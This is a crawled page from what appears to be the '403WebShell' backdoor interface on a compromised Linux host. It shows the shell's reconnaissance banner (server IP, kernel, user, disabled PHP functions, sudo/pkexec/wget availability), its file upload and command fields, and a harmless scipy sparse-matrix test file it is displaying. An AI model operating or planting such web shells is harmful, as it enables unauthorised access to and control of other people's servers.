Done ! 403WebShell
403Webshell
Server IP : 194.181.228.65  /  Your IP : 216.73.216.135
Web Server : LiteSpeed
System : Linux wn13.webd.pl 5.14.0-687.46.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Sep 11 09:03:19 EDT 2026 x86_64
User : prusit ( 133039)
PHP Version : 5.6.40
Disable Function : exec, system, shell_exec, passthru, proc_open, proc_close, popen
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/scipy/sparse/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/scipy/sparse/tests/test_extract.py
"""test sparse matrix construction functions"""

from numpy.testing import assert_equal
from scipy.sparse import csr_matrix

import numpy as np
from scipy.sparse import _extract


class TestExtract:
    def setup_method(self):
        self.cases = [
            csr_matrix([[1,2]]),
            csr_matrix([[1,0]]),
            csr_matrix([[0,0]]),
            csr_matrix([[1],[2]]),
            csr_matrix([[1],[0]]),
            csr_matrix([[0],[0]]),
            csr_matrix([[1,2],[3,4]]),
            csr_matrix([[0,1],[0,0]]),
            csr_matrix([[0,0],[1,0]]),
            csr_matrix([[0,0],[0,0]]),
            csr_matrix([[1,2,0,0,3],[4,5,0,6,7],[0,0,8,9,0]]),
            csr_matrix([[1,2,0,0,3],[4,5,0,6,7],[0,0,8,9,0]]).T,
        ]

    def find(self):
        for A in self.cases:
            I,J,V = _extract.find(A)
            assert_equal(A.toarray(), csr_matrix(((I,J),V), shape=A.shape))

    def test_tril(self):
        for A in self.cases:
            B = A.toarray()
            for k in [-3,-2,-1,0,1,2,3]:
                assert_equal(_extract.tril(A,k=k).toarray(), np.tril(B,k=k))

    def test_triu(self):
        for A in self.cases:
            B = A.toarray()
            for k in [-3,-2,-1,0,1,2,3]:
                assert_equal(_extract.triu(A,k=k).toarray(), np.triu(B,k=k))

Youez - 2016 - github.com/yon3zu
LinuXploit